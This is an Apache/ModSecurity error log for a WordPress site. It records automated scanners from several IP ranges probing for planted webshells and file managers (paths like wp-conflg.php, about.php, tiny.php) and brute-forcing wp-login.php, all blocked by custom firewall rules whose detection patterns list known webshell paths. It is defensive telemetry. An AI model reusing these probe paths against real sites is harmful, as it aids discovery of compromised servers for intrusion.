[Thu Apr 23 09:53:50.243371 2026] [proxy_fcgi:error] [pid 64998:tid 65025] [client 91.230.225.10:29311] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:50.527981 2026] [:error] [pid 64998:tid 65012] [client 91.230.225.10:29311] [client 91.230.225.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "ael7roV5EysYcTLjmwhzcQAAAco"]
[Thu Apr 23 09:53:51.137201 2026] [:error] [pid 42972:tid 43035] [client 185.192.71.23:21003] [client 185.192.71.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "ael7r8OAb-3sOknsk4c_sAAAAFM"]
[Thu Apr 23 09:53:52.320107 2026] [proxy_fcgi:error] [pid 43083:tid 43094] [client 185.192.71.40:34057] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:52.592137 2026] [proxy_fcgi:error] [pid 43083:tid 43101] [client 185.192.71.40:34057] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:53.173605 2026] [proxy_fcgi:error] [pid 43083:tid 43096] [client 185.192.71.40:34057] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:53.724727 2026] [:error] [pid 43083:tid 43104] [client 185.192.71.40:34057] [client 185.192.71.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "ael7sTC5hrvNXosL83ISIAAAANM"]
[Thu Apr 23 09:53:54.297929 2026] [:error] [pid 42973:tid 43050] [client 185.192.71.28:58525] [client 185.192.71.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "ael7sm6I0QqmmmLTHE3tZQAAAIc"]
[Thu Apr 23 09:53:54.888701 2026] [proxy_fcgi:error] [pid 42972:tid 43030] [client 91.230.225.12:57377] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:55.359729 2026] [proxy_fcgi:error] [pid 42972:tid 43021] [client 91.230.225.12:57377] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:55.946855 2026] [proxy_fcgi:error] [pid 42972:tid 43019] [client 91.230.225.12:57377] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:56.221782 2026] [:error] [pid 42972:tid 43027] [client 91.230.225.12:57377] [client 91.230.225.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/index.php"] [unique_id "ael7tMOAb-3sOknsk4dAAQAAAEs"]
[Thu Apr 23 09:53:56.804005 2026] [:error] [pid 42971:tid 42987] [client 91.230.225.16:64767] [client 91.230.225.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "ael7tDEP2_5RswrH8bHW8gAAAAE"]
[Thu Apr 23 09:53:57.390233 2026] [:error] [pid 42971:tid 42986] [client 185.192.71.22:36909] [client 185.192.71.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "ael7tTEP2_5RswrH8bHW-gAAAAA"]
[Thu Apr 23 09:53:59.106186 2026] [proxy_fcgi:error] [pid 43083:tid 43089] [client 185.192.71.40:36839] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:59.377033 2026] [:error] [pid 43083:tid 43107] [client 185.192.71.40:36839] [client 185.192.71.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "ael7tzC5hrvNXosL83IScwAAANY"]
[Thu Apr 23 09:54:00.213326 2026] [:error] [pid 25635:tid 25649] [client 91.230.225.198:36985] [client 91.230.225.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "ael7uMRxv6UsgRGKB3L2zgAAAQo"]
[Thu Apr 23 09:54:00.787314 2026] [proxy_fcgi:error] [pid 43083:tid 43092] [client 185.192.71.29:37701] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:01.068646 2026] [proxy_fcgi:error] [pid 43083:tid 43099] [client 185.192.71.29:37701] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:01.645295 2026] [proxy_fcgi:error] [pid 43083:tid 43101] [client 185.192.71.29:37701] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:02.751127 2026] [:error] [pid 43083:tid 43101] [client 185.192.71.29:37701] [client 185.192.71.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.192.71.29, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/js/wp-login.php"] [unique_id "ael7ujC5hrvNXosL83ISowAAANA"]
[Thu Apr 23 09:54:03.308450 2026] [:error] [pid 43083:tid 43096] [client 185.192.71.29:37701] File does not exist: /home/agraphicscom/public_html/worm.PhP
[Thu Apr 23 09:54:03.604798 2026] [proxy_fcgi:error] [pid 43083:tid 43106] [client 185.192.71.29:37701] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:03.890821 2026] [proxy_fcgi:error] [pid 43083:tid 43098] [client 185.192.71.29:37701] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:04.181295 2026] [proxy_fcgi:error] [pid 43083:tid 43105] [client 185.192.71.29:37701] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:04.457977 2026] [:error] [pid 43083:tid 43102] [client 185.192.71.29:37701] [client 185.192.71.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.192.71.29, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "ael7vDC5hrvNXosL83ISswAAANE"]
[Thu Apr 23 09:54:04.761292 2026] [proxy_fcgi:error] [pid 43083:tid 43096] [client 185.192.71.29:37701] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:06.688339 2026] [proxy_fcgi:error] [pid 43083:tid 43093] [client 185.192.71.29:37701] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:06.981416 2026] [proxy_fcgi:error] [pid 43083:tid 43090] [client 185.192.71.29:37701] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:07.546809 2026] [proxy_fcgi:error] [pid 43083:tid 43087] [client 185.192.71.29:37701] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:08.123446 2026] [proxy_fcgi:error] [pid 43083:tid 43106] [client 185.192.71.29:37701] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:09.036312 2026] [proxy_fcgi:error] [pid 43083:tid 43087] [client 185.192.71.29:37701] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:11.063885 2026] [proxy_fcgi:error] [pid 43083:tid 43096] [client 185.192.71.29:37701] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:11.376315 2026] [proxy_fcgi:error] [pid 43083:tid 43099] [client 185.192.71.29:37701] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:12.356333 2026] [proxy_fcgi:error] [pid 43083:tid 43098] [client 185.192.71.29:37701] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:12.937290 2026] [proxy_fcgi:error] [pid 43083:tid 43087] [client 185.192.71.29:37701] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:13.223305 2026] [proxy_fcgi:error] [pid 43083:tid 43104] [client 185.192.71.29:37701] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:13.493970 2026] [:error] [pid 43083:tid 43094] [client 185.192.71.29:37701] [client 185.192.71.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "ael7xTC5hrvNXosL83ITGgAAAMk"]
[Thu Apr 23 09:54:14.374519 2026] [proxy_fcgi:error] [pid 42972:tid 43038] [client 185.192.71.40:53427] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:14.688558 2026] [proxy_fcgi:error] [pid 42972:tid 43036] [client 185.192.71.40:53427] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:15.010671 2026] [:error] [pid 42972:tid 43040] [client 185.192.71.40:53427] [client 185.192.71.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "ael7x8OAb-3sOknsk4dBCgAAAFg"]
[Thu Apr 23 09:54:15.891380 2026] [proxy_fcgi:error] [pid 42971:tid 42994] [client 91.230.225.199:30171] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:16.162530 2026] [:error] [pid 42971:tid 42993] [client 91.230.225.199:30171] [client 91.230.225.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "ael7yDEP2_5RswrH8bHXvAAAAAc"]
[Thu Apr 23 09:54:17.425679 2026] [proxy_fcgi:error] [pid 64998:tid 65010] [client 91.230.225.19:35433] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:18.055332 2026] [proxy_fcgi:error] [pid 64998:tid 65013] [client 91.230.225.19:35433] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:18.384402 2026] [proxy_fcgi:error] [pid 64998:tid 65014] [client 91.230.225.19:35433] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:18.704328 2026] [proxy_fcgi:error] [pid 64998:tid 65013] [client 91.230.225.19:35433] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:19.014291 2026] [proxy_fcgi:error] [pid 64998:tid 65019] [client 91.230.225.19:35433] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:19.663940 2026] [:error] [pid 64998:tid 65018] [client 91.230.225.19:35433] [client 91.230.225.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "ael7y4V5EysYcTLjmwh0iAAAAdA"]
[Thu Apr 23 09:54:21.336328 2026] [proxy_fcgi:error] [pid 65000:tid 65047] [client 91.230.225.206:25159] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:21.646302 2026] [proxy_fcgi:error] [pid 65000:tid 65054] [client 91.230.225.206:25159] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:21.933112 2026] [:error] [pid 65000:tid 65029] [client 91.230.225.206:25159] [client 91.230.225.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "ael7zb6vRb9j6psK2Zb6VgAAAgA"]
[Thu Apr 23 09:54:22.753303 2026] [:error] [pid 64998:tid 65025] [client 185.192.71.25:42487] [client 185.192.71.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "ael7zoV5EysYcTLjmwh0rQAAAdc"]
[Thu Apr 23 09:54:23.602288 2026] [proxy_fcgi:error] [pid 43083:tid 43100] [client 185.192.71.37:26757] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:24.455918 2026] [proxy_fcgi:error] [pid 43083:tid 43085] [client 185.192.71.37:26757] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:24.750306 2026] [proxy_fcgi:error] [pid 43083:tid 43093] [client 185.192.71.37:26757] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:25.104722 2026] [:error] [pid 43083:tid 43090] [client 185.192.71.37:26757] [client 185.192.71.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "ael70TC5hrvNXosL83ITqwAAAMU"]
[Thu Apr 23 09:54:25.643844 2026] [:error] [pid 59700:tid 59702] [client 185.192.71.29:37401] [client 185.192.71.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "ael70ZXyGZJFeAIDWtmRIgAAAUA"]
[Thu Apr 23 09:54:27.677991 2026] [proxy_fcgi:error] [pid 42971:tid 42999] [client 91.230.225.15:25497] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:28.235758 2026] [:error] [pid 42971:tid 43006] [client 91.230.225.15:25497] [client 91.230.225.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "ael71DEP2_5RswrH8bHYIwAAABQ"]
[Thu Apr 23 09:54:29.043389 2026] [:error] [pid 64998:tid 65021] [client 185.192.71.22:53637] [client 185.192.71.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "ael71YV5EysYcTLjmwh1LQAAAdM"]
[Thu Apr 23 09:54:29.925030 2026] [proxy_fcgi:error] [pid 64967:tid 64983] [client 185.192.71.29:33739] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:30.211326 2026] [proxy_fcgi:error] [pid 64967:tid 64973] [client 185.192.71.29:33739] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:30.487949 2026] [:error] [pid 64967:tid 64977] [client 185.192.71.29:33739] [client 185.192.71.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "ael71oAV4GfOOdX8QzouRgAAAYg"]
[Thu Apr 23 09:54:31.364298 2026] [proxy_fcgi:error] [pid 43083:tid 43101] [client 91.230.225.12:24393] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:31.667587 2026] [proxy_fcgi:error] [pid 43083:tid 43089] [client 91.230.225.12:24393] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:32.230431 2026] [proxy_fcgi:error] [pid 43083:tid 43106] [client 91.230.225.12:24393] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:33.088521 2026] [:error] [pid 43083:tid 43101] [client 91.230.225.12:24393] [client 91.230.225.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "ael72TC5hrvNXosL83IUAgAAANA"]
[Thu Apr 23 09:54:33.646580 2026] [proxy_fcgi:error] [pid 42973:tid 43053] [client 185.192.71.28:58283] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:34.568926 2026] [:error] [pid 42973:tid 43061] [client 185.192.71.28:58283] [client 185.192.71.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "ael72m6I0QqmmmLTHE3vhQAAAJI"]
[Thu Apr 23 09:54:35.397291 2026] [proxy_fcgi:error] [pid 42972:tid 43034] [client 185.192.71.21:33419] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:36.250294 2026] [proxy_fcgi:error] [pid 42972:tid 43032] [client 185.192.71.21:33419] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:36.526285 2026] [proxy_fcgi:error] [pid 42972:tid 43035] [client 185.192.71.21:33419] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:37.620987 2026] [:error] [pid 42972:tid 43032] [client 185.192.71.21:33419] [client 185.192.71.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.192.71.21, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "ael73cOAb-3sOknsk4dB-gAAAFA"]
[Thu Apr 23 09:54:38.183428 2026] [proxy_fcgi:error] [pid 42972:tid 43033] [client 185.192.71.21:33419] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:38.993059 2026] [:error] [pid 42972:tid 43022] [client 185.192.71.21:33419] [client 185.192.71.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "ael73sOAb-3sOknsk4dCEgAAAEY"]
[Thu Apr 23 09:54:39.559310 2026] [proxy_fcgi:error] [pid 42973:tid 43045] [client 185.92.25.114:22103] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:39.836932 2026] [:error] [pid 42973:tid 43044] [client 185.92.25.114:22103] [client 185.92.25.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "ael7326I0QqmmmLTHE3vsgAAAIE"]
[Thu Apr 23 09:54:40.380331 2026] [proxy_fcgi:error] [pid 42973:tid 43051] [client 185.192.71.30:58681] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:40.939306 2026] [proxy_fcgi:error] [pid 42973:tid 43045] [client 185.192.71.30:58681] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:41.491648 2026] [:error] [pid 42973:tid 43047] [client 185.192.71.30:58681] [client 185.192.71.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "ael74W6I0QqmmmLTHE3vwgAAAIQ"]
[Thu Apr 23 09:54:42.364327 2026] [proxy_fcgi:error] [pid 59700:tid 59719] [client 91.230.225.21:64457] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:42.652096 2026] [proxy_fcgi:error] [pid 59700:tid 59721] [client 91.230.225.21:64457] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:42.921860 2026] [:error] [pid 59700:tid 59712] [client 91.230.225.21:64457] [client 91.230.225.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "ael74pXyGZJFeAIDWtmR-QAAAUo"]
[Thu Apr 23 09:54:43.512987 2026] [:error] [pid 42971:tid 43001] [client 185.192.71.26:42047] [client 185.192.71.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "ael74zEP2_5RswrH8bHYowAAAA8"]
[Thu Apr 23 09:54:44.067555 2026] [proxy_fcgi:error] [pid 65000:tid 65052] [client 185.192.71.37:30477] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:44.361309 2026] [proxy_fcgi:error] [pid 65000:tid 65052] [client 185.192.71.37:30477] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:44.940892 2026] [:error] [pid 65000:tid 65041] [client 185.192.71.37:30477] [client 185.192.71.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "ael75L6vRb9j6psK2Zb8PgAAAgg"]
[Thu Apr 23 09:54:45.490200 2026] [proxy_fcgi:error] [pid 43083:tid 43089] [client 185.192.71.24:50757] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:46.052334 2026] [proxy_fcgi:error] [pid 43083:tid 43102] [client 185.192.71.24:50757] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:46.323819 2026] [:error] [pid 43083:tid 43107] [client 185.192.71.24:50757] [client 185.192.71.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "ael75jC5hrvNXosL83IU1gAAANY"]
[Thu Apr 23 09:54:47.161980 2026] [:error] [pid 65000:tid 65044] [client 91.230.225.11:26815] [client 91.230.225.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/db.php"] [unique_id "ael7576vRb9j6psK2Zb8YwAAAgs"]
[Thu Apr 23 09:54:48.759037 2026] [:error] [pid 42972:tid 43021] [client 91.230.225.18:41219] [client 91.230.225.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "ael76MOAb-3sOknsk4dCaQAAAEU"]
[Thu Apr 23 09:54:49.309148 2026] [:error] [pid 43083:tid 43101] [client 185.192.71.38:21957] [client 185.192.71.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "ael76TC5hrvNXosL83IU6gAAANA"]
